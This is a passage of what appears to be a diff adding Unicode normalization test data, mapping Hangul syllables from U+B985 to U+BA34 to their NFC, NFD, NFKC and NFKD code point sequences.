+{ source: [0xB985], NFC: [0xB985], NFD: [0x1105, 0x1173, 0x11B8], NFKC: [0xB985], NFKD: [0x1105, 0x1173, 0x11B8] },
+{ source: [0xB986], NFC: [0xB986], NFD: [0x1105, 0x1173, 0x11B9], NFKC: [0xB986], NFKD: [0x1105, 0x1173, 0x11B9] },
+{ source: [0xB987], NFC: [0xB987], NFD: [0x1105, 0x1173, 0x11BA], NFKC: [0xB987], NFKD: [0x1105, 0x1173, 0x11BA] },
+{ source: [0xB988], NFC: [0xB988], NFD: [0x1105, 0x1173, 0x11BB], NFKC: [0xB988], NFKD: [0x1105, 0x1173, 0x11BB] },
+{ source: [0xB989], NFC: [0xB989], NFD: [0x1105, 0x1173, 0x11BC], NFKC: [0xB989], NFKD: [0x1105, 0x1173, 0x11BC] },
+{ source: [0xB98A], NFC: [0xB98A], NFD: [0x1105, 0x1173, 0x11BD], NFKC: [0xB98A], NFKD: [0x1105, 0x1173, 0x11BD] },
+{ source: [0xB98B], NFC: [0xB98B], NFD: [0x1105, 0x1173, 0x11BE], NFKC: [0xB98B], NFKD: [0x1105, 0x1173, 0x11BE] },
+{ source: [0xB98C], NFC: [0xB98C], NFD: [0x1105, 0x1173, 0x11BF], NFKC: [0xB98C], NFKD: [0x1105, 0x1173, 0x11BF] },
+{ source: [0xB98D], NFC: [0xB98D], NFD: [0x1105, 0x1173, 0x11C0], NFKC: [0xB98D], NFKD: [0x1105, 0x1173, 0x11C0] },
+{ source: [0xB98E], NFC: [0xB98E], NFD: [0x1105, 0x1173, 0x11C1], NFKC: [0xB98E], NFKD: [0x1105, 0x1173, 0x11C1] },
+{ source: [0xB98F], NFC: [0xB98F], NFD: [0x1105, 0x1173, 0x11C2], NFKC: [0xB98F], NFKD: [0x1105, 0x1173, 0x11C2] },
+{ source: [0xB990], NFC: [0xB990], NFD: [0x1105, 0x1174], NFKC: [0xB990], NFKD: [0x1105, 0x1174] },
+{ source: [0xB991], NFC: [0xB991], NFD: [0x1105, 0x1174, 0x11A8], NFKC: [0xB991], NFKD: [0x1105, 0x1174, 0x11A8] },
+{ source: [0xB992], NFC: [0xB992], NFD: [0x1105, 0x1174, 0x11A9], NFKC: [0xB992], NFKD: [0x1105, 0x1174, 0x11A9] },
+{ source: [0xB993], NFC: [0xB993], NFD: [0x1105, 0x1174, 0x11AA], NFKC: [0xB993], NFKD: [0x1105, 0x1174, 0x11AA] },
+{ source: [0xB994], NFC: [0xB994], NFD: [0x1105, 0x1174, 0x11AB], NFKC: [0xB994], NFKD: [0x1105, 0x1174, 0x11AB] },
+{ source: [0xB995], NFC: [0xB995], NFD: [0x1105, 0x1174, 0x11AC], NFKC: [0xB995], NFKD: [0x1105, 0x1174, 0x11AC] },
+{ source: [0xB996], NFC: [0xB996], NFD: [0x1105, 0x1174, 0x11AD], NFKC: [0xB996], NFKD: [0x1105, 0x1174, 0x11AD] },
+{ source: [0xB997], NFC: [0xB997], NFD: [0x1105, 0x1174, 0x11AE], NFKC: [0xB997], NFKD: [0x1105, 0x1174, 0x11AE] },
+{ source: [0xB998], NFC: [0xB998], NFD: [0x1105, 0x1174, 0x11AF], NFKC: [0xB998], NFKD: [0x1105, 0x1174, 0x11AF] },
+{ source: [0xB999], NFC: [0xB999], NFD: [0x1105, 0x1174, 0x11B0], NFKC: [0xB999], NFKD: [0x1105, 0x1174, 0x11B0] },
+{ source: [0xB99A], NFC: [0xB99A], NFD: [0x1105, 0x1174, 0x11B1], NFKC: [0xB99A], NFKD: [0x1105, 0x1174, 0x11B1] },
+{ source: [0xB99B], NFC: [0xB99B], NFD: [0x1105, 0x1174, 0x11B2], NFKC: [0xB99B], NFKD: [0x1105, 0x1174, 0x11B2] },
+{ source: [0xB99C], NFC: [0xB99C], NFD: [0x1105, 0x1174, 0x11B3], NFKC: [0xB99C], NFKD: [0x1105, 0x1174, 0x11B3] },
+{ source: [0xB99D], NFC: [0xB99D], NFD: [0x1105, 0x1174, 0x11B4], NFKC: [0xB99D], NFKD: [0x1105, 0x1174, 0x11B4] },
+{ source: [0xB99E], NFC: [0xB99E], NFD: [0x1105, 0x1174, 0x11B5], NFKC: [0xB99E], NFKD: [0x1105, 0x1174, 0x11B5] },
+{ source: [0xB99F], NFC: [0xB99F], NFD: [0x1105, 0x1174, 0x11B6], NFKC: [0xB99F], NFKD: [0x1105, 0x1174, 0x11B6] },
+{ source: [0xB9A0], NFC: [0xB9A0], NFD: [0x1105, 0x1174, 0x11B7], NFKC: [0xB9A0], NFKD: [0x1105, 0x1174, 0x11B7] },
+{ source: [0xB9A1], NFC: [0xB9A1], NFD: [0x1105, 0x1174, 0x11B8], NFKC: [0xB9A1], NFKD: [0x1105, 0x1174, 0x11B8] },
+{ source: [0xB9A2], NFC: [0xB9A2], NFD: [0x1105, 0x1174, 0x11B9], NFKC: [0xB9A2], NFKD: [0x1105, 0x1174, 0x11B9] },
+{ source: [0xB9A3], NFC: [0xB9A3], NFD: [0x1105, 0x1174, 0x11BA], NFKC: [0xB9A3], NFKD: [0x1105, 0x1174, 0x11BA] },
+{ source: [0xB9A4], NFC: [0xB9A4], NFD: [0x1105, 0x1174, 0x11BB], NFKC: [0xB9A4], NFKD: [0x1105, 0x1174, 0x11BB] },
+{ source: [0xB9A5], NFC: [0xB9A5], NFD: [0x1105, 0x1174, 0x11BC], NFKC: [0xB9A5], NFKD: [0x1105, 0x1174, 0x11BC] },
+{ source: [0xB9A6], NFC: [0xB9A6], NFD: [0x1105, 0x1174, 0x11BD], NFKC: [0xB9A6], NFKD: [0x1105, 0x1174, 0x11BD] },
+{ source: [0xB9A7], NFC: [0xB9A7], NFD: [0x1105, 0x1174, 0x11BE], NFKC: [0xB9A7], NFKD: [0x1105, 0x1174, 0x11BE] },
+{ source: [0xB9A8], NFC: [0xB9A8], NFD: [0x1105, 0x1174, 0x11BF], NFKC: [0xB9A8], NFKD: [0x1105, 0x1174, 0x11BF] },
+{ source: [0xB9A9], NFC: [0xB9A9], NFD: [0x1105, 0x1174, 0x11C0], NFKC: [0xB9A9], NFKD: [0x1105, 0x1174, 0x11C0] },
+{ source: [0xB9AA], NFC: [0xB9AA], NFD: [0x1105, 0x1174, 0x11C1], NFKC: [0xB9AA], NFKD: [0x1105, 0x1174, 0x11C1] },
+{ source: [0xB9AB], NFC: [0xB9AB], NFD: [0x1105, 0x1174, 0x11C2], NFKC: [0xB9AB], NFKD: [0x1105, 0x1174, 0x11C2] },
+{ source: [0xB9AC], NFC: [0xB9AC], NFD: [0x1105, 0x1175], NFKC: [0xB9AC], NFKD: [0x1105, 0x1175] },
+{ source: [0xB9AD], NFC: [0xB9AD], NFD: [0x1105, 0x1175, 0x11A8], NFKC: [0xB9AD], NFKD: [0x1105, 0x1175, 0x11A8] },
+{ source: [0xB9AE], NFC: [0xB9AE], NFD: [0x1105, 0x1175, 0x11A9], NFKC: [0xB9AE], NFKD: [0x1105, 0x1175, 0x11A9] },
+{ source: [0xB9AF], NFC: [0xB9AF], NFD: [0x1105, 0x1175, 0x11AA], NFKC: [0xB9AF], NFKD: [0x1105, 0x1175, 0x11AA] },
+{ source: [0xB9B0], NFC: [0xB9B0], NFD: [0x1105, 0x1175, 0x11AB], NFKC: [0xB9B0], NFKD: [0x1105, 0x1175, 0x11AB] },
+{ source: [0xB9B1], NFC: [0xB9B1], NFD: [0x1105, 0x1175, 0x11AC], NFKC: [0xB9B1], NFKD: [0x1105, 0x1175, 0x11AC] },
+{ source: [0xB9B2], NFC: [0xB9B2], NFD: [0x1105, 0x1175, 0x11AD], NFKC: [0xB9B2], NFKD: [0x1105, 0x1175, 0x11AD] },
+{ source: [0xB9B3], NFC: [0xB9B3], NFD: [0x1105, 0x1175, 0x11AE], NFKC: [0xB9B3], NFKD: [0x1105, 0x1175, 0x11AE] },
+{ source: [0xB9B4], NFC: [0xB9B4], NFD: [0x1105, 0x1175, 0x11AF], NFKC: [0xB9B4], NFKD: [0x1105, 0x1175, 0x11AF] },
+{ source: [0xB9B5], NFC: [0xB9B5], NFD: [0x1105, 0x1175, 0x11B0], NFKC: [0xB9B5], NFKD: [0x1105, 0x1175, 0x11B0] },
+{ source: [0xB9B6], NFC: [0xB9B6], NFD: [0x1105, 0x1175, 0x11B1], NFKC: [0xB9B6], NFKD: [0x1105, 0x1175, 0x11B1] },
+{ source: [0xB9B7], NFC: [0xB9B7], NFD: [0x1105, 0x1175, 0x11B2], NFKC: [0xB9B7], NFKD: [0x1105, 0x1175, 0x11B2] },
+{ source: [0xB9B8], NFC: [0xB9B8], NFD: [0x1105, 0x1175, 0x11B3], NFKC: [0xB9B8], NFKD: [0x1105, 0x1175, 0x11B3] },
+{ source: [0xB9B9], NFC: [0xB9B9], NFD: [0x1105, 0x1175, 0x11B4], NFKC: [0xB9B9], NFKD: [0x1105, 0x1175, 0x11B4] },
+{ source: [0xB9BA], NFC: [0xB9BA], NFD: [0x1105, 0x1175, 0x11B5], NFKC: [0xB9BA], NFKD: [0x1105, 0x1175, 0x11B5] },
+{ source: [0xB9BB], NFC: [0xB9BB], NFD: [0x1105, 0x1175, 0x11B6], NFKC: [0xB9BB], NFKD: [0x1105, 0x1175, 0x11B6] },
+{ source: [0xB9BC], NFC: [0xB9BC], NFD: [0x1105, 0x1175, 0x11B7], NFKC: [0xB9BC], NFKD: [0x1105, 0x1175, 0x11B7] },
+{ source: [0xB9BD], NFC: [0xB9BD], NFD: [0x1105, 0x1175, 0x11B8], NFKC: [0xB9BD], NFKD: [0x1105, 0x1175, 0x11B8] },
+{ source: [0xB9BE], NFC: [0xB9BE], NFD: [0x1105, 0x1175, 0x11B9], NFKC: [0xB9BE], NFKD: [0x1105, 0x1175, 0x11B9] },
+{ source: [0xB9BF], NFC: [0xB9BF], NFD: [0x1105, 0x1175, 0x11BA], NFKC: [0xB9BF], NFKD: [0x1105, 0x1175, 0x11BA] },
+{ source: [0xB9C0], NFC: [0xB9C0], NFD: [0x1105, 0x1175, 0x11BB], NFKC: [0xB9C0], NFKD: [0x1105, 0x1175, 0x11BB] },
+{ source: [0xB9C1], NFC: [0xB9C1], NFD: [0x1105, 0x1175, 0x11BC], NFKC: [0xB9C1], NFKD: [0x1105, 0x1175, 0x11BC] },
+{ source: [0xB9C2], NFC: [0xB9C2], NFD: [0x1105, 0x1175, 0x11BD], NFKC: [0xB9C2], NFKD: [0x1105, 0x1175, 0x11BD] },
+{ source: [0xB9C3], NFC: [0xB9C3], NFD: [0x1105, 0x1175, 0x11BE], NFKC: [0xB9C3], NFKD: [0x1105, 0x1175, 0x11BE] },
+{ source: [0xB9C4], NFC: [0xB9C4], NFD: [0x1105, 0x1175, 0x11BF], NFKC: [0xB9C4], NFKD: [0x1105, 0x1175, 0x11BF] },
+{ source: [0xB9C5], NFC: [0xB9C5], NFD: [0x1105, 0x1175, 0x11C0], NFKC: [0xB9C5], NFKD: [0x1105, 0x1175, 0x11C0] },
+{ source: [0xB9C6], NFC: [0xB9C6], NFD: [0x1105, 0x1175, 0x11C1], NFKC: [0xB9C6], NFKD: [0x1105, 0x1175, 0x11C1] },
+{ source: [0xB9C7], NFC: [0xB9C7], NFD: [0x1105, 0x1175, 0x11C2], NFKC: [0xB9C7], NFKD: [0x1105, 0x1175, 0x11C2] },
+{ source: [0xB9C8], NFC: [0xB9C8], NFD: [0x1106, 0x1161], NFKC: [0xB9C8], NFKD: [0x1106, 0x1161] },
+{ source: [0xB9C9], NFC: [0xB9C9], NFD: [0x1106, 0x1161, 0x11A8], NFKC: [0xB9C9], NFKD: [0x1106, 0x1161, 0x11A8] },
+{ source: [0xB9CA], NFC: [0xB9CA], NFD: [0x1106, 0x1161, 0x11A9], NFKC: [0xB9CA], NFKD: [0x1106, 0x1161, 0x11A9] },
+{ source: [0xB9CB], NFC: [0xB9CB], NFD: [0x1106, 0x1161, 0x11AA], NFKC: [0xB9CB], NFKD: [0x1106, 0x1161, 0x11AA] },
+{ source: [0xB9CC], NFC: [0xB9CC], NFD: [0x1106, 0x1161, 0x11AB], NFKC: [0xB9CC], NFKD: [0x1106, 0x1161, 0x11AB] },
+{ source: [0xB9CD], NFC: [0xB9CD], NFD: [0x1106, 0x1161, 0x11AC], NFKC: [0xB9CD], NFKD: [0x1106, 0x1161, 0x11AC] },
+{ source: [0xB9CE], NFC: [0xB9CE], NFD: [0x1106, 0x1161, 0x11AD], NFKC: [0xB9CE], NFKD: [0x1106, 0x1161, 0x11AD] },
+{ source: [0xB9CF], NFC: [0xB9CF], NFD: [0x1106, 0x1161, 0x11AE], NFKC: [0xB9CF], NFKD: [0x1106, 0x1161, 0x11AE] },
+{ source: [0xB9D0], NFC: [0xB9D0], NFD: [0x1106, 0x1161, 0x11AF], NFKC: [0xB9D0], NFKD: [0x1106, 0x1161, 0x11AF] },
+{ source: [0xB9D1], NFC: [0xB9D1], NFD: [0x1106, 0x1161, 0x11B0], NFKC: [0xB9D1], NFKD: [0x1106, 0x1161, 0x11B0] },
+{ source: [0xB9D2], NFC: [0xB9D2], NFD: [0x1106, 0x1161, 0x11B1], NFKC: [0xB9D2], NFKD: [0x1106, 0x1161, 0x11B1] },
+{ source: [0xB9D3], NFC: [0xB9D3], NFD: [0x1106, 0x1161, 0x11B2], NFKC: [0xB9D3], NFKD: [0x1106, 0x1161, 0x11B2] },
+{ source: [0xB9D4], NFC: [0xB9D4], NFD: [0x1106, 0x1161, 0x11B3], NFKC: [0xB9D4], NFKD: [0x1106, 0x1161, 0x11B3] },
+{ source: [0xB9D5], NFC: [0xB9D5], NFD: [0x1106, 0x1161, 0x11B4], NFKC: [0xB9D5], NFKD: [0x1106, 0x1161, 0x11B4] },
+{ source: [0xB9D6], NFC: [0xB9D6], NFD: [0x1106, 0x1161, 0x11B5], NFKC: [0xB9D6], NFKD: [0x1106, 0x1161, 0x11B5] },
+{ source: [0xB9D7], NFC: [0xB9D7], NFD: [0x1106, 0x1161, 0x11B6], NFKC: [0xB9D7], NFKD: [0x1106, 0x1161, 0x11B6] },
+{ source: [0xB9D8], NFC: [0xB9D8], NFD: [0x1106, 0x1161, 0x11B7], NFKC: [0xB9D8], NFKD: [0x1106, 0x1161, 0x11B7] },
+{ source: [0xB9D9], NFC: [0xB9D9], NFD: [0x1106, 0x1161, 0x11B8], NFKC: [0xB9D9], NFKD: [0x1106, 0x1161, 0x11B8] },
+{ source: [0xB9DA], NFC: [0xB9DA], NFD: [0x1106, 0x1161, 0x11B9], NFKC: [0xB9DA], NFKD: [0x1106, 0x1161, 0x11B9] },
+{ source: [0xB9DB], NFC: [0xB9DB], NFD: [0x1106, 0x1161, 0x11BA], NFKC: [0xB9DB], NFKD: [0x1106, 0x1161, 0x11BA] },
+{ source: [0xB9DC], NFC: [0xB9DC], NFD: [0x1106, 0x1161, 0x11BB], NFKC: [0xB9DC], NFKD: [0x1106, 0x1161, 0x11BB] },
+{ source: [0xB9DD], NFC: [0xB9DD], NFD: [0x1106, 0x1161, 0x11BC], NFKC: [0xB9DD], NFKD: [0x1106, 0x1161, 0x11BC] },
+{ source: [0xB9DE], NFC: [0xB9DE], NFD: [0x1106, 0x1161, 0x11BD], NFKC: [0xB9DE], NFKD: [0x1106, 0x1161, 0x11BD] },
+{ source: [0xB9DF], NFC: [0xB9DF], NFD: [0x1106, 0x1161, 0x11BE], NFKC: [0xB9DF], NFKD: [0x1106, 0x1161, 0x11BE] },
+{ source: [0xB9E0], NFC: [0xB9E0], NFD: [0x1106, 0x1161, 0x11BF], NFKC: [0xB9E0], NFKD: [0x1106, 0x1161, 0x11BF] },
+{ source: [0xB9E1], NFC: [0xB9E1], NFD: [0x1106, 0x1161, 0x11C0], NFKC: [0xB9E1], NFKD: [0x1106, 0x1161, 0x11C0] },
+{ source: [0xB9E2], NFC: [0xB9E2], NFD: [0x1106, 0x1161, 0x11C1], NFKC: [0xB9E2], NFKD: [0x1106, 0x1161, 0x11C1] },
+{ source: [0xB9E3], NFC: [0xB9E3], NFD: [0x1106, 0x1161, 0x11C2], NFKC: [0xB9E3], NFKD: [0x1106, 0x1161, 0x11C2] },
+{ source: [0xB9E4], NFC: [0xB9E4], NFD: [0x1106, 0x1162], NFKC: [0xB9E4], NFKD: [0x1106, 0x1162] },
+{ source: [0xB9E5], NFC: [0xB9E5], NFD: [0x1106, 0x1162, 0x11A8], NFKC: [0xB9E5], NFKD: [0x1106, 0x1162, 0x11A8] },
+{ source: [0xB9E6], NFC: [0xB9E6], NFD: [0x1106, 0x1162, 0x11A9], NFKC: [0xB9E6], NFKD: [0x1106, 0x1162, 0x11A9] },
+{ source: [0xB9E7], NFC: [0xB9E7], NFD: [0x1106, 0x1162, 0x11AA], NFKC: [0xB9E7], NFKD: [0x1106, 0x1162, 0x11AA] },
+{ source: [0xB9E8], NFC: [0xB9E8], NFD: [0x1106, 0x1162, 0x11AB], NFKC: [0xB9E8], NFKD: [0x1106, 0x1162, 0x11AB] },
+{ source: [0xB9E9], NFC: [0xB9E9], NFD: [0x1106, 0x1162, 0x11AC], NFKC: [0xB9E9], NFKD: [0x1106, 0x1162, 0x11AC] },
+{ source: [0xB9EA], NFC: [0xB9EA], NFD: [0x1106, 0x1162, 0x11AD], NFKC: [0xB9EA], NFKD: [0x1106, 0x1162, 0x11AD] },
+{ source: [0xB9EB], NFC: [0xB9EB], NFD: [0x1106, 0x1162, 0x11AE], NFKC: [0xB9EB], NFKD: [0x1106, 0x1162, 0x11AE] },
+{ source: [0xB9EC], NFC: [0xB9EC], NFD: [0x1106, 0x1162, 0x11AF], NFKC: [0xB9EC], NFKD: [0x1106, 0x1162, 0x11AF] },
+{ source: [0xB9ED], NFC: [0xB9ED], NFD: [0x1106, 0x1162, 0x11B0], NFKC: [0xB9ED], NFKD: [0x1106, 0x1162, 0x11B0] },
+{ source: [0xB9EE], NFC: [0xB9EE], NFD: [0x1106, 0x1162, 0x11B1], NFKC: [0xB9EE], NFKD: [0x1106, 0x1162, 0x11B1] },
+{ source: [0xB9EF], NFC: [0xB9EF], NFD: [0x1106, 0x1162, 0x11B2], NFKC: [0xB9EF], NFKD: [0x1106, 0x1162, 0x11B2] },
+{ source: [0xB9F0], NFC: [0xB9F0], NFD: [0x1106, 0x1162, 0x11B3], NFKC: [0xB9F0], NFKD: [0x1106, 0x1162, 0x11B3] },
+{ source: [0xB9F1], NFC: [0xB9F1], NFD: [0x1106, 0x1162, 0x11B4], NFKC: [0xB9F1], NFKD: [0x1106, 0x1162, 0x11B4] },
+{ source: [0xB9F2], NFC: [0xB9F2], NFD: [0x1106, 0x1162, 0x11B5], NFKC: [0xB9F2], NFKD: [0x1106, 0x1162, 0x11B5] },
+{ source: [0xB9F3], NFC: [0xB9F3], NFD: [0x1106, 0x1162, 0x11B6], NFKC: [0xB9F3], NFKD: [0x1106, 0x1162, 0x11B6] },
+{ source: [0xB9F4], NFC: [0xB9F4], NFD: [0x1106, 0x1162, 0x11B7], NFKC: [0xB9F4], NFKD: [0x1106, 0x1162, 0x11B7] },
+{ source: [0xB9F5], NFC: [0xB9F5], NFD: [0x1106, 0x1162, 0x11B8], NFKC: [0xB9F5], NFKD: [0x1106, 0x1162, 0x11B8] },
+{ source: [0xB9F6], NFC: [0xB9F6], NFD: [0x1106, 0x1162, 0x11B9], NFKC: [0xB9F6], NFKD: [0x1106, 0x1162, 0x11B9] },
+{ source: [0xB9F7], NFC: [0xB9F7], NFD: [0x1106, 0x1162, 0x11BA], NFKC: [0xB9F7], NFKD: [0x1106, 0x1162, 0x11BA] },
+{ source: [0xB9F8], NFC: [0xB9F8], NFD: [0x1106, 0x1162, 0x11BB], NFKC: [0xB9F8], NFKD: [0x1106, 0x1162, 0x11BB] },
+{ source: [0xB9F9], NFC: [0xB9F9], NFD: [0x1106, 0x1162, 0x11BC], NFKC: [0xB9F9], NFKD: [0x1106, 0x1162, 0x11BC] },
+{ source: [0xB9FA], NFC: [0xB9FA], NFD: [0x1106, 0x1162, 0x11BD], NFKC: [0xB9FA], NFKD: [0x1106, 0x1162, 0x11BD] },
+{ source: [0xB9FB], NFC: [0xB9FB], NFD: [0x1106, 0x1162, 0x11BE], NFKC: [0xB9FB], NFKD: [0x1106, 0x1162, 0x11BE] },
+{ source: [0xB9FC], NFC: [0xB9FC], NFD: [0x1106, 0x1162, 0x11BF], NFKC: [0xB9FC], NFKD: [0x1106, 0x1162, 0x11BF] },
+{ source: [0xB9FD], NFC: [0xB9FD], NFD: [0x1106, 0x1162, 0x11C0], NFKC: [0xB9FD], NFKD: [0x1106, 0x1162, 0x11C0] },
+{ source: [0xB9FE], NFC: [0xB9FE], NFD: [0x1106, 0x1162, 0x11C1], NFKC: [0xB9FE], NFKD: [0x1106, 0x1162, 0x11C1] },
+{ source: [0xB9FF], NFC: [0xB9FF], NFD: [0x1106, 0x1162, 0x11C2], NFKC: [0xB9FF], NFKD: [0x1106, 0x1162, 0x11C2] },
+{ source: [0xBA00], NFC: [0xBA00], NFD: [0x1106, 0x1163], NFKC: [0xBA00], NFKD: [0x1106, 0x1163] },
+{ source: [0xBA01], NFC: [0xBA01], NFD: [0x1106, 0x1163, 0x11A8], NFKC: [0xBA01], NFKD: [0x1106, 0x1163, 0x11A8] },
+{ source: [0xBA02], NFC: [0xBA02], NFD: [0x1106, 0x1163, 0x11A9], NFKC: [0xBA02], NFKD: [0x1106, 0x1163, 0x11A9] },
+{ source: [0xBA03], NFC: [0xBA03], NFD: [0x1106, 0x1163, 0x11AA], NFKC: [0xBA03], NFKD: [0x1106, 0x1163, 0x11AA] },
+{ source: [0xBA04], NFC: [0xBA04], NFD: [0x1106, 0x1163, 0x11AB], NFKC: [0xBA04], NFKD: [0x1106, 0x1163, 0x11AB] },
+{ source: [0xBA05], NFC: [0xBA05], NFD: [0x1106, 0x1163, 0x11AC], NFKC: [0xBA05], NFKD: [0x1106, 0x1163, 0x11AC] },
+{ source: [0xBA06], NFC: [0xBA06], NFD: [0x1106, 0x1163, 0x11AD], NFKC: [0xBA06], NFKD: [0x1106, 0x1163, 0x11AD] },
+{ source: [0xBA07], NFC: [0xBA07], NFD: [0x1106, 0x1163, 0x11AE], NFKC: [0xBA07], NFKD: [0x1106, 0x1163, 0x11AE] },
+{ source: [0xBA08], NFC: [0xBA08], NFD: [0x1106, 0x1163, 0x11AF], NFKC: [0xBA08], NFKD: [0x1106, 0x1163, 0x11AF] },
+{ source: [0xBA09], NFC: [0xBA09], NFD: [0x1106, 0x1163, 0x11B0], NFKC: [0xBA09], NFKD: [0x1106, 0x1163, 0x11B0] },
+{ source: [0xBA0A], NFC: [0xBA0A], NFD: [0x1106, 0x1163, 0x11B1], NFKC: [0xBA0A], NFKD: [0x1106, 0x1163, 0x11B1] },
+{ source: [0xBA0B], NFC: [0xBA0B], NFD: [0x1106, 0x1163, 0x11B2], NFKC: [0xBA0B], NFKD: [0x1106, 0x1163, 0x11B2] },
+{ source: [0xBA0C], NFC: [0xBA0C], NFD: [0x1106, 0x1163, 0x11B3], NFKC: [0xBA0C], NFKD: [0x1106, 0x1163, 0x11B3] },
+{ source: [0xBA0D], NFC: [0xBA0D], NFD: [0x1106, 0x1163, 0x11B4], NFKC: [0xBA0D], NFKD: [0x1106, 0x1163, 0x11B4] },
+{ source: [0xBA0E], NFC: [0xBA0E], NFD: [0x1106, 0x1163, 0x11B5], NFKC: [0xBA0E], NFKD: [0x1106, 0x1163, 0x11B5] },
+{ source: [0xBA0F], NFC: [0xBA0F], NFD: [0x1106, 0x1163, 0x11B6], NFKC: [0xBA0F], NFKD: [0x1106, 0x1163, 0x11B6] },
+{ source: [0xBA10], NFC: [0xBA10], NFD: [0x1106, 0x1163, 0x11B7], NFKC: [0xBA10], NFKD: [0x1106, 0x1163, 0x11B7] },
+{ source: [0xBA11], NFC: [0xBA11], NFD: [0x1106, 0x1163, 0x11B8], NFKC: [0xBA11], NFKD: [0x1106, 0x1163, 0x11B8] },
+{ source: [0xBA12], NFC: [0xBA12], NFD: [0x1106, 0x1163, 0x11B9], NFKC: [0xBA12], NFKD: [0x1106, 0x1163, 0x11B9] },
+{ source: [0xBA13], NFC: [0xBA13], NFD: [0x1106, 0x1163, 0x11BA], NFKC: [0xBA13], NFKD: [0x1106, 0x1163, 0x11BA] },
+{ source: [0xBA14], NFC: [0xBA14], NFD: [0x1106, 0x1163, 0x11BB], NFKC: [0xBA14], NFKD: [0x1106, 0x1163, 0x11BB] },
+{ source: [0xBA15], NFC: [0xBA15], NFD: [0x1106, 0x1163, 0x11BC], NFKC: [0xBA15], NFKD: [0x1106, 0x1163, 0x11BC] },
+{ source: [0xBA16], NFC: [0xBA16], NFD: [0x1106, 0x1163, 0x11BD], NFKC: [0xBA16], NFKD: [0x1106, 0x1163, 0x11BD] },
+{ source: [0xBA17], NFC: [0xBA17], NFD: [0x1106, 0x1163, 0x11BE], NFKC: [0xBA17], NFKD: [0x1106, 0x1163, 0x11BE] },
+{ source: [0xBA18], NFC: [0xBA18], NFD: [0x1106, 0x1163, 0x11BF], NFKC: [0xBA18], NFKD: [0x1106, 0x1163, 0x11BF] },
+{ source: [0xBA19], NFC: [0xBA19], NFD: [0x1106, 0x1163, 0x11C0], NFKC: [0xBA19], NFKD: [0x1106, 0x1163, 0x11C0] },
+{ source: [0xBA1A], NFC: [0xBA1A], NFD: [0x1106, 0x1163, 0x11C1], NFKC: [0xBA1A], NFKD: [0x1106, 0x1163, 0x11C1] },
+{ source: [0xBA1B], NFC: [0xBA1B], NFD: [0x1106, 0x1163, 0x11C2], NFKC: [0xBA1B], NFKD: [0x1106, 0x1163, 0x11C2] },
+{ source: [0xBA1C], NFC: [0xBA1C], NFD: [0x1106, 0x1164], NFKC: [0xBA1C], NFKD: [0x1106, 0x1164] },
+{ source: [0xBA1D], NFC: [0xBA1D], NFD: [0x1106, 0x1164, 0x11A8], NFKC: [0xBA1D], NFKD: [0x1106, 0x1164, 0x11A8] },
+{ source: [0xBA1E], NFC: [0xBA1E], NFD: [0x1106, 0x1164, 0x11A9], NFKC: [0xBA1E], NFKD: [0x1106, 0x1164, 0x11A9] },
+{ source: [0xBA1F], NFC: [0xBA1F], NFD: [0x1106, 0x1164, 0x11AA], NFKC: [0xBA1F], NFKD: [0x1106, 0x1164, 0x11AA] },
+{ source: [0xBA20], NFC: [0xBA20], NFD: [0x1106, 0x1164, 0x11AB], NFKC: [0xBA20], NFKD: [0x1106, 0x1164, 0x11AB] },
+{ source: [0xBA21], NFC: [0xBA21], NFD: [0x1106, 0x1164, 0x11AC], NFKC: [0xBA21], NFKD: [0x1106, 0x1164, 0x11AC] },
+{ source: [0xBA22], NFC: [0xBA22], NFD: [0x1106, 0x1164, 0x11AD], NFKC: [0xBA22], NFKD: [0x1106, 0x1164, 0x11AD] },
+{ source: [0xBA23], NFC: [0xBA23], NFD: [0x1106, 0x1164, 0x11AE], NFKC: [0xBA23], NFKD: [0x1106, 0x1164, 0x11AE] },
+{ source: [0xBA24], NFC: [0xBA24], NFD: [0x1106, 0x1164, 0x11AF], NFKC: [0xBA24], NFKD: [0x1106, 0x1164, 0x11AF] },
+{ source: [0xBA25], NFC: [0xBA25], NFD: [0x1106, 0x1164, 0x11B0], NFKC: [0xBA25], NFKD: [0x1106, 0x1164, 0x11B0] },
+{ source: [0xBA26], NFC: [0xBA26], NFD: [0x1106, 0x1164, 0x11B1], NFKC: [0xBA26], NFKD: [0x1106, 0x1164, 0x11B1] },
+{ source: [0xBA27], NFC: [0xBA27], NFD: [0x1106, 0x1164, 0x11B2], NFKC: [0xBA27], NFKD: [0x1106, 0x1164, 0x11B2] },
+{ source: [0xBA28], NFC: [0xBA28], NFD: [0x1106, 0x1164, 0x11B3], NFKC: [0xBA28], NFKD: [0x1106, 0x1164, 0x11B3] },
+{ source: [0xBA29], NFC: [0xBA29], NFD: [0x1106, 0x1164, 0x11B4], NFKC: [0xBA29], NFKD: [0x1106, 0x1164, 0x11B4] },
+{ source: [0xBA2A], NFC: [0xBA2A], NFD: [0x1106, 0x1164, 0x11B5], NFKC: [0xBA2A], NFKD: [0x1106, 0x1164, 0x11B5] },
+{ source: [0xBA2B], NFC: [0xBA2B], NFD: [0x1106, 0x1164, 0x11B6], NFKC: [0xBA2B], NFKD: [0x1106, 0x1164, 0x11B6] },
+{ source: [0xBA2C], NFC: [0xBA2C], NFD: [0x1106, 0x1164, 0x11B7], NFKC: [0xBA2C], NFKD: [0x1106, 0x1164, 0x11B7] },
+{ source: [0xBA2D], NFC: [0xBA2D], NFD: [0x1106, 0x1164, 0x11B8], NFKC: [0xBA2D], NFKD: [0x1106, 0x1164, 0x11B8] },
+{ source: [0xBA2E], NFC: [0xBA2E], NFD: [0x1106, 0x1164, 0x11B9], NFKC: [0xBA2E], NFKD: [0x1106, 0x1164, 0x11B9] },
+{ source: [0xBA2F], NFC: [0xBA2F], NFD: [0x1106, 0x1164, 0x11BA], NFKC: [0xBA2F], NFKD: [0x1106, 0x1164, 0x11BA] },
+{ source: [0xBA30], NFC: [0xBA30], NFD: [0x1106, 0x1164, 0x11BB], NFKC: [0xBA30], NFKD: [0x1106, 0x1164, 0x11BB] },
+{ source: [0xBA31], NFC: [0xBA31], NFD: [0x1106, 0x1164, 0x11BC], NFKC: [0xBA31], NFKD: [0x1106, 0x1164, 0x11BC] },
+{ source: [0xBA32], NFC: [0xBA32], NFD: [0x1106, 0x1164, 0x11BD], NFKC: [0xBA32], NFKD: [0x1106, 0x1164, 0x11BD] },
+{ source: [0xBA33], NFC: [0xBA33], NFD: [0x1106, 0x1164, 0x11BE], NFKC: [0xBA33], NFKD: [0x1106, 0x1164, 0x11BE] },
+{ source: [0xBA34], NFC: [0xBA34], NFD: [0x1106, 0x1164, 0x11BF], NFKC: [0xBA34], NFKD: [0x1106, 0x1164, 0x11BF] },
